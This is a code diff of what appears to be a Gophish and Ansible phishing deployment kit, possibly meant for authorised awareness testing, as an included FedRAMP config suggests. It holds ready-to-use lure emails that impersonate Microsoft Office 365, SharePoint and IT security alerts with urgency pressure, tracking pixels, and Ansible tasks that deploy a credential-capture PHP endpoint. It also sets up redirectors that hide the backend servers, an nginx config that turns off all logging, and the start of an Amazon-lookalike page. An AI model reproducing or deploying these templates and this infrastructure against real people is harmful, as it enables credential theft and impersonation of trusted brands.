<img src="{{ sharepoint_logo | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTIwIiBoZWlnaHQ9IjMwIj48dGV4dCB4PSIwIiB5PSIyNSIgZm9udC1mYW1pbHk9IlNlZ29lIFVJIiBmb250LXNpemU9IjIwIiBmaWxsPSIjMDM3ODkzIj5TaGFyZVBvaW50PC90ZXh0Pjwvc3ZnPg==') }}" alt="SharePoint" style="height: 30px;">
</td>
<td align="right">
<span style="color: #605e5c; font-size: 14px;">{{ share_date | default('{{.ShareDate}}') }}</span>
</td>
</tr>
</table>
</td>
</tr>
<!-- Content -->
<tr>
<td style="padding: 30px;">
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">{{ sender_name | default('{{.SenderName}}') }} shared a file with you</h2>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Hi {{ "{{.FirstName}}" }},
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
{{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
</p>
<!-- File Preview -->
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid #edebe9; border-radius: 4px; margin: 0 0 30px;">
<tr>
<td style="padding: 20px;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td style="width: 48px; padding-right: 15px; vertical-align: top;">
<img src="{{ file_icon | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9IiMxODVhYmQiPjxyZWN0IHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgcng9IjQiLz48dGV4dCB4PSIyNCIgeT0iMzAiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IndoaXRlIiBmb250LXNpemU9IjE2Ij5ET0M8L3RleHQ+PC9zdmc+') }}" alt="Document" style="width: 48px; height: 48px;">
</td>
<td>
<h3 style="color: #323130; font-size: 16px; margin: 0 0 5px;">{{ document_name | default('{{.DocumentName}}') }}</h3>
<p style="color: #605e5c; font-size: 14px; margin: 0;">
{{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!-- Sender Message -->
{% if include_message | default(true) %}
<div style="background-color: #f8f8f8; border-left: 4px solid #0078d4; padding: 15px; margin: 0 0 30px;">
<p style="color: #323130; font-size: 14px; margin: 0 0 5px;"><strong>Message from {{ sender_name | default('{{.SenderName}}') }}:</strong></p>
<p style="color: #605e5c; font-size: 14px; margin: 0;">
{{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
</p>
</div>
{% endif %}
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Open in SharePoint
</a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 12px; line-height: 18px; margin: 30px 0 0; text-align: center;">
This link will expire in {{ expiry_days | default('7') }} days.<br>
Only people with the link can access this file.
</p>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0 0 10px;">
Get the SharePoint mobile app
</p>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="padding: 0 5px;">
<a href="#"><img src="{{ app_store_badge | default('https://cdn.example.com/app-store.png') }}" alt="Download on App Store" style="height: 40px;"></a>
</td>
<td style="padding: 0 5px;">
<a href="#"><img src="{{ play_store_badge | default('https://cdn.example.com/google-play.png') }}" alt="Get it on Google Play" style="height: 40px;"></a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 11px; margin: 15px 0 0;">
© {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.<br>
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Statement</a> |
<a href="#" style="color: #0078d4; text-decoration: none;">Terms of Use</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -0,0 +1,51 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Microsoft Office 365 - Sign-in Required</title>
<style>
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; background-color: #f3f2f1; }
.container { max-width: 600px; margin: 0 auto; background: white; border-radius: 2px; overflow: hidden; }
.header { background: #0078d4; padding: 20px; color: white; }
.content { padding: 30px; line-height: 1.6; }
.button { display: inline-block; background: #0078d4; color: white; padding: 12px 24px; text-decoration: none; border-radius: 2px; margin: 20px 0; }
.footer { background: #f8f8f8; padding: 20px; font-size: 12px; color: #666; }
.urgent { color: #d13438; font-weight: bold; }
</style>
</head>
<body>
<div class="container">
<div class="header">
<h2>Microsoft Office 365</h2>
</div>
<div class="content">
<p>Hello {{ first_name | default('User') }},</p>
<p class="urgent">ACTION REQUIRED: Your Office 365 session has expired</p>
<p>We've detected that your Office 365 session for <strong>{{ email }}</strong> has expired due to security policy updates. To continue accessing your email and documents, please sign in again within the next 24 hours.</p>
<p>If you don't verify your account within this timeframe, access to your Office 365 services will be temporarily suspended for security reasons.</p>
<center>
<a href="https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email" class="button">Sign In to Office 365</a>
</center>
<p><small>If you're unable to click the button above, copy and paste this link into your browser:<br>
https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email</small></p>
<p>Thank you for your cooperation in keeping your account secure.</p>
<p>Best regards,<br>
Microsoft Account Security Team</p>
</div>
<div class="footer">
<p>Microsoft Corporation | One Microsoft Way | Redmond, WA 98052</p>
<p>This message was sent to {{ email }}. If you don't want to receive these emails, you can <a href="#">unsubscribe</a>.</p>
</div>
</div>
<!-- Tracking pixel -->
<img src="https://{{ phishing_subdomain }}.{{ phishing_domain }}/px/{{ tracking_id }}.png" width="1" height="1" style="display:none;">
</body>
</html>
@@ -0,0 +1,95 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Password Expiration Notice</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="background-color: #0078d4; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
<img src="{{ logo_url | default('https://cdn.example.com/logo.png') }}" alt="IT Department" style="height: 40px;">
</td>
</tr>
<!-- Warning Banner -->
<tr>
<td style="background-color: #fff4ce; padding: 15px; border-left: 4px solid #ffb900;">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td style="padding-right: 10px;">
<img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI2ZmYjkwMCI+PHBhdGggZD0iTTEyIDJDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTEgMTVoLTJ2LTJoMnYyem0wLTRoLTJWN2gydjZ6Ii8+PC9zdmc+" alt="Warning" style="width: 24px; height: 24px;">
</td>
<td>
<strong style="color: #323130; font-size: 16px;">Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days</strong>
</td>
</tr>
</table>
</td>
</tr>
<!-- Content -->
<tr>
<td style="padding: 30px;">
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">Your Password is About to Expire</h2>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Hello {{ "{{.FirstName}}" }},
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Our records indicate that your {{ organization | default('organization') }} password will expire on <strong>{{ expiry_date | default('{{.ExpiryDate}}') }}</strong>.
To prevent any interruption to your access, please update your password before it expires.
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
Password requirements:
</p>
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 0 0 30px; padding-left: 20px;">
<li>Minimum 12 characters</li>
<li>At least one uppercase letter</li>
<li>At least one lowercase letter</li>
<li>At least one number</li>
<li>At least one special character</li>
<li>Cannot be the same as your last 5 passwords</li>
</ul>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Update Password Now
</a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 14px; line-height: 20px; margin: 30px 0 0; text-align: center;">
If you're unable to click the button above, copy and paste this link into your browser:<br>
<a href="{{ "{{.URL}}" }}" style="color: #0078d4; word-break: break-all;">{{ "{{.URL}}" }}</a>
</p>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
This is an automated message from {{ organization | default('IT Department') }}.<br>
Please do not reply to this email.<br>
For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -0,0 +1,103 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Security Alert</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="background-color: #d13438; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
<h1 style="color: #ffffff; font-size: 24px; margin: 0;">⚠️ Security Alert</h1>
</td>
</tr>
<!-- Content -->
<tr>
<td style="padding: 30px;">
<h2 style="color: #d13438; font-size: 20px; margin: 0 0 20px;">Suspicious Activity Detected</h2>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Dear {{ "{{.FirstName}}" }},
</p>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
We detected unusual sign-in activity on your account:
</p>
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f8f8f8; border-radius: 4px; margin: 0 0 20px;">
<tr>
<td style="padding: 20px;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Date & Time:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ detection_time | default('{{.DetectionTime}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Location:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ location | default('{{.Location}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>IP Address:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ ip_address | default('{{.IPAddress}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Device:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ device | default('{{.Device}}') }}</td>
</tr>
</table>
</td>
</tr>
</table>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
<strong>If this was you:</strong> You can safely ignore this email.<br>
<strong>If this wasn't you:</strong> Your account may be compromised. Secure it immediately.
</p>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #d13438; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Secure My Account
</a>
</td>
</tr>
</table>
<p style="color: #605e5c; font-size: 14px; line-height: 20px; margin: 30px 0 0;">
<strong>What happens next?</strong><br>
We'll guide you through securing your account, including:
</p>
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 10px 0 0; padding-left: 20px;">
<li>Verifying your identity</li>
<li>Reviewing recent account activity</li>
<li>Updating your password</li>
<li>Enabling additional security measures</li>
</ul>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
This security alert was sent to {{ "{{.Email}}" }}<br>
© {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.<br>
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Policy</a> |
<a href="#" style="color: #0078d4; text-decoration: none;">Contact Support</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -0,0 +1,87 @@
# FedRAMP Phishing Test Compliance Configuration
# This configuration ensures compliance with FedRAMP requirements
compliance_mode: fedramp
test_type: user_awareness_only
# Email Configuration
email_settings:
# Emails must be whitelisted on all security systems
require_whitelist: true
bypass_security_controls: true
# No modification of emails allowed
allow_header_modification: false
allow_content_filtering: false
# Tracking requirements
tracking:
- email_opened (via pixel)
- link_clicked
- credentials_submitted
- user_identity (tied to actions)
# Landing Page Requirements
landing_page:
# Must immediately identify as phishing test
show_phishing_notice: true
phishing_notice_text: |
This was a phishing simulation!
You should never enter your credentials on suspicious websites.
# Educational content required
include_education: true
education_content:
- How to identify phishing emails
- Red flags to watch for
- Reporting procedures
- Best practices for email security
# Reporting Requirements
reporting:
# No PII in reports
anonymize_data: true
report_format: aggregate_only
# Required metrics
metrics:
- total_emails_sent
- emails_opened_percentage
- links_clicked_percentage
- credentials_submitted_percentage
- department_breakdown
- role_based_statistics
# Prohibited data
exclude:
- individual_names
- specific_email_addresses
- personal_identifiers
# Technical Configuration
technical:
# Simple campaign only
campaign_type: basic_phishing_test
# No exploitation
allow_malware: false
allow_exploitation: false
allow_persistence: false
# Clean tracking only
tracking_methods:
- pixel_tracking
- unique_urls
- form_submission
# Approval Process
approval:
requires_3pao_approval: true
requires_template_review: true
approval_documentation: required
# Post-Test Requirements
post_test:
notify_failures: true
provide_training: true
remediation_timeline: 30_days
@@ -0,0 +1,69 @@
{
"deployment_id": "{{ deployment_id }}",
"deployment_time": "{{ ansible_date_time.iso8601 }}",
"provider": "{{ provider }}",
"region": "{{ aws_region | default(linode_region) | default('') }}",
"infrastructure": {
"mta_front": {
"name": "{{ mta_front_name }}",
"ip": "{{ mta_front_ip | default('') }}",
"instance_id": "{{ mta_instance_id | default('') }}"
},
"gophish_server": {
"name": "{{ gophish_server_name }}",
"ip": "{{ gophish_server_ip | default('') }}",
"instance_id": "{{ gophish_instance_id | default('') }}",
"admin_port": "{{ gophish_admin_port }}"
},
"phishing_webserver": {
"name": "{{ phishing_web_name }}",
"ip": "{{ phishing_web_ip | default('') }}",
"instance_id": "{{ phishing_web_instance_id | default('') }}"
},
"phishing_redirector": {
"name": "{{ phishing_redirector_name }}",
"ip": "{{ phishing_redirector_ip | default('') }}",
"instance_id": "{{ phishing_redirector_instance_id | default('') }}"
},
{% if deploy_payload_infra | default(false) %}
"payload_server": {
"name": "{{ payload_server_name }}",
"ip": "{{ payload_server_ip | default('') }}",
"instance_id": "{{ payload_server_instance_id | default('') }}"
},
"payload_redirector": {
"name": "{{ payload_redirector_name }}",
"ip": "{{ payload_redirector_ip | default('') }}",
"instance_id": "{{ payload_redirector_instance_id | default('') }}"
},
{% endif %}
},
"domains": {
"phishing_domain": "{{ phishing_subdomain }}.{{ domain }}",
"mta_domain": "{{ mta_hostname | default('mail.' + domain) }}",
{% if deploy_payload_infra | default(false) %}
"payload_domain": "{{ payload_subdomain }}.{{ domain }}",
{% endif %}
},
"credentials": {
"gophish_url": "https://{{ gophish_server_ip }}:{{ gophish_admin_port }}",
"smtp_auth_user": "{{ smtp_auth_user }}",
"smtp_settings": {
"host": "{{ mta_front_ip }}",
"port": 25,
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}"
}
},
"security_groups": {
{% if provider == 'aws' %}
"mta_sg": "{{ mta_security_group_id | default('') }}",
"gophish_sg": "{{ gophish_security_group_id | default('') }}",
"web_sg": "{{ web_security_group_id | default('') }}",
"redirector_sg": "{{ redirector_security_group_id | default('') }}"
{% endif %}
}
}
@@ -0,0 +1,85 @@
---
# Configure phishing web server with landing pages and credential capture
- name: Install required packages
apt:
name:
- nginx
- php-fpm
- php-json
- certbot
- python3-certbot-nginx
state: present
update_cache: yes
- name: Create web directories
file:
path: "{{ item }}"
state: directory
mode: '0755'
owner: www-data
group: www-data
loop:
- /var/www/phishing
- /var/www/phishing/templates
- /var/www/phishing/static
- /var/www/phishing/captures
- /var/private/phishing_creds
- name: Deploy phishing templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: www-data
group: www-data
loop:
- { src: "../templates/phishing/phishing-landing-page.j2", dest: "/var/www/phishing/index.html" }
- { src: "../templates/phishing/email-templates/office365_login.j2", dest: "/var/www/phishing/templates/o365.html" }
- { src: "../templates/phishing/email-templates/password_expiry.j2", dest: "/var/www/phishing/templates/password.html" }
- { src: "../templates/phishing/email-templates/security_alert.j2", dest: "/var/www/phishing/templates/security.html" }
- { src: "../templates/phishing/email-templates/file_share.j2", dest: "/var/www/phishing/templates/share.html" }
- name: Deploy credential capture script
template:
src: "../templates/phishing/capture.php.j2"
dest: "/var/www/phishing/capture.php"
mode: '0640'
owner: www-data
group: www-data
- name: Configure NGINX for phishing sites
template:
src: "../templates/phishing/nginx-phishing-webserver.j2"
dest: /etc/nginx/sites-available/phishing
mode: '0644'
- name: Enable phishing site
file:
src: /etc/nginx/sites-available/phishing
dest: /etc/nginx/sites-enabled/phishing
state: link
- name: Remove default nginx site
file:
path: /etc/nginx/sites-enabled/default
state: absent
- name: Configure PHP-FPM for security
lineinfile:
path: /etc/php/7.4/fpm/php.ini
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
loop:
- { regexp: '^expose_php', line: 'expose_php = Off' }
- { regexp: '^display_errors', line: 'display_errors = Off' }
- { regexp: '^log_errors', line: 'log_errors = On' }
- name: Restart services
systemd:
name: "{{ item }}"
state: restarted
enabled: yes
loop:
- nginx
- php7.4-fpm
@@ -0,0 +1,183 @@
---
# Configure security groups and firewall rules for phishing infrastructure
- name: Configure MTA Front security
block:
- name: Create MTA Front security group
amazon.aws.ec2_security_group:
name: "mta-front-{{ deployment_id }}"
description: "Security group for MTA Front server"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# SMTP services - public facing
- proto: tcp
ports: 25
cidr_ip: "0.0.0.0/0"
rule_desc: "SMTP from anywhere"
- proto: tcp
ports: 587
cidr_ip: "0.0.0.0/0"
rule_desc: "SMTP submission"
- proto: tcp
ports: 465
cidr_ip: "0.0.0.0/0"
rule_desc: "SMTPS"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.mta_front | default(false) | bool
- name: Configure Gophish security (hidden backend)
block:
- name: Create Gophish security group
amazon.aws.ec2_security_group:
name: "gophish-{{ deployment_id }}"
description: "Security group for Gophish server (hidden)"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access only
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
- proto: tcp
ports: 3333
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "Gophish admin interface"
# Internal communication only
- proto: tcp
ports: 80
cidr_ip: "{{ phishing_redirector_ip }}/32"
rule_desc: "HTTP from phishing redirector"
- proto: tcp
ports: 25
cidr_ip: "{{ mta_front_ip }}/32"
rule_desc: "SMTP from MTA front"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.gophish | default(false) | bool
- name: Configure Phishing Redirector security (public facing)
block:
- name: Create Phishing Redirector security group
amazon.aws.ec2_security_group:
name: "phish-redirector-{{ deployment_id }}"
description: "Security group for Phishing Redirector"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# Public web access
- proto: tcp
ports: 80
cidr_ip: "0.0.0.0/0"
rule_desc: "HTTP from anywhere"
- proto: tcp
ports: 443
cidr_ip: "0.0.0.0/0"
rule_desc: "HTTPS from anywhere"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.phishing_redirector | default(false) | bool
- name: Configure Phishing Web Server security (hidden backend)
block:
- name: Create Phishing Web Server security group
amazon.aws.ec2_security_group:
name: "phish-webserver-{{ deployment_id }}"
description: "Security group for Phishing Web Server (hidden)"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access only
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# Internal communication only
- proto: tcp
ports: 80
cidr_ip: "{{ phishing_redirector_ip }}/32"
rule_desc: "HTTP from phishing redirector"
- proto: tcp
ports: 443
cidr_ip: "{{ phishing_redirector_ip }}/32"
rule_desc: "HTTPS from phishing redirector"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.phishing_webserver | default(false) | bool
- name: Configure Payload Server security (hidden backend)
block:
- name: Create Payload Server security group
amazon.aws.ec2_security_group:
name: "payload-server-{{ deployment_id }}"
description: "Security group for Payload Server (hidden)"
vpc_id: "{{ vpc_id }}"
region: "{{ aws_region }}"
rules:
# Management access only
- proto: tcp
ports: 22
cidr_ip: "{{ operator_ip }}/32"
rule_desc: "SSH from operator"
# Internal communication only
- proto: tcp
ports: 80
cidr_ip: "{{ payload_redirector_ip }}/32"
rule_desc: "HTTP from payload redirector"
- proto: tcp
ports: 443
cidr_ip: "{{ payload_redirector_ip }}/32"
rule_desc: "HTTPS from payload redirector"
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
state: present
when: deployment_components.payload_server | default(false) | bool
- name: Display security configuration summary
debug:
msg:
- "Phishing Infrastructure Security Configuration"
- "============================================="
- "✓ Least privilege access implemented"
- "✓ Backend servers hidden from public access"
- "✓ Only redirectors/MTA fronts are publicly accessible"
- "✓ Operator-only SSH access configured"
- "✓ Internal communication secured"
@@ -0,0 +1,40 @@
server {
listen 80;
server_name _;
root /var/www/phishing;
index index.html index.php;
# Disable all logging
access_log off;
error_log /dev/null crit;
# PHP processing
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
# Credential capture endpoint
location = /capture.php {
limit_except POST { deny all; }
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# Template routing
location /templates/ {
try_files $uri $uri/ =404;
}
# Static resources
location /static/ {
try_files $uri $uri/ =404;
}
# Default
location / {
try_files $uri $uri/ /index.html;
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 122 KiB

@@ -0,0 +1,238 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Amazon</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" integrity="sha512-iecdLmaskl7CVkqkXNQ/ZH/XLlvWZOJyj7Yy7tcenmpD1ypASozpmT/E0iPtmFIB46ZmdtAc9eNBvH0H/ZpiBw==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<link rel="stylesheet" href="style.css">
</head>
<body>
<header>
<div class="navbar">
<div class="nav-logo border">
<div class="logo"></div>
</div>
<div class="nav-address border">
<p class="add-first">Deliver to</p>
<div class="add-icon">
<i class="fa-solid fa-location-dot"></i>
<p class="add-second">US</p>
</div>
</div>
<div class="nav-search">
<select class="search-select">
<option>All</option>
</select>
<input placeholder="Search Amazon" class="search-input">
<div class="search-icon">
<i class="fa-solid fa-magnifying-glass"></i>
</div>
</div>
<div class="nav-signin border">
<p><span>Hello, sign in</span></p>
<p class="nav-second">Accounts & Lists</p>
</div>
<div class="nav-return border">
<p><span>Returns</span></p>
<p class="nav-second">& Orders</p>
</div>
<div class="nav-cart border">
<i class="fa-solid fa-cart-shopping"></i>
Cart
</div>
</div>
<div class="panel">
<div class="panel-all">
<i class="fa-solid fa-bars"></i>
All
</div>
<div class="panel-options">
<p>Today's Deals</p>
<p>Buy Again</p>
<p>Customer Service</p>
<p>Registry</p>
<p>Gift Cards</p>
<p>Sell</p>
</div>
</div>
</header>
<div class="hero-section">
<div class="hero-msg">
<p>You are on amazon.com. You can also shop on Amazon for millions of products with fast local delivery. <a>Click here to go to amazon.in</a></p>
</div>
</div>
<div class="shop-section">
<div class="box">
<div class="box-content">
<h2>Clothes</h2>
<div class="box-img" style="background-image: url('box1_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Health & Personal Care</h2>
<div class="box-img" style="background-image: url('box2_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Furniture</h2>
<div class="box-img" style="background-image: url('box3_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Electronics</h2>
<div class="box-img" style="background-image: url('box4_image.jpg');"></div>
<p>See more</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Beauty picks</h2>
<div class="box-img" style="background-image: url('box5_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Shop Pet Supplies</h2>
<div class="box-img" style="background-image: url('box6_image.jpg');"></div>
<p>See more</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>New Arrival in Toys</h2>
<div class="box-img" style="background-image: url('box7_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Discover Fashion Trends</h2>
<div class="box-img" style="background-image: url('box8_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Home refresh ideas</h2>
<div class="box-img" style="background-image: url('box9_image.jpg');"></div>
<p>Shop kitchen upgrades</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Create with strip lights</h2>
<div class="box-img" style="background-image: url('box10_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>For your Fitness Needs</h2>
<div class="box-img" style="background-image: url('box11_image.jpg');"></div>
<p>Shop now</p>
</div>
</div>
<div class="box">
<div class="box-content">
<h2>Spring new arrivals</h2>
<div class="box-img" style="background-image: url('box12_image.jpg');"></div>
<p>Discover more</p>
</div>
</div>
</div>
<footer>
<div class="foot-panel1">
Back to Top
</div>
<div class="foot-panel2">
<ul>
<p>Get to Know Us</p>
<a>Careers</a>
<a>Blog</a>
<a>About Amazon</a>
<a>Investor Relations</a>
<a>Amazon Devices</a>
<a>Amazon Science</a>
</ul>
<ul>
<p>Make Money with Us</p>
<a>Sell products on Amazon</a>
<a>Sell on Amazon Business</a>
<a>Sell apps on Amazon</a>
<a>Become an Affiliate</a>
<a>Advertise Your Products</a>
<a>Self-Publish with Us</a>
<a>Host an Amazon Hub</a>
<a> See More Make Money with Us</a>
</ul>
<ul>
<p>Amazon Payment Products</p>
<a>Amazon Business Card</a>
<a>Shop with Points</a>
<a>Reload Your Balance</a>
<a>Amazon Currency Converter</a>
</ul>
<ul>
<p>Let Us Help You</p>
<a>Amazon and COVID-19</a>
<a>Your Account</a>
<a>Your Orders</a>
<a>Shipping Rates & Policies</a>
<a>Returns & Replacements</a>
<a>Manage Your Content and Devices</a>
<a>Amazon Assistant</a>
<a>Help</a>
</ul>
</div>
<div class="foot-panel3">
<div class="logo"></div>
</div>
<div class="foot-panel4">
<div class="policies">
<a>Conditions of Use</a>
<a>Privacy Policies</a>
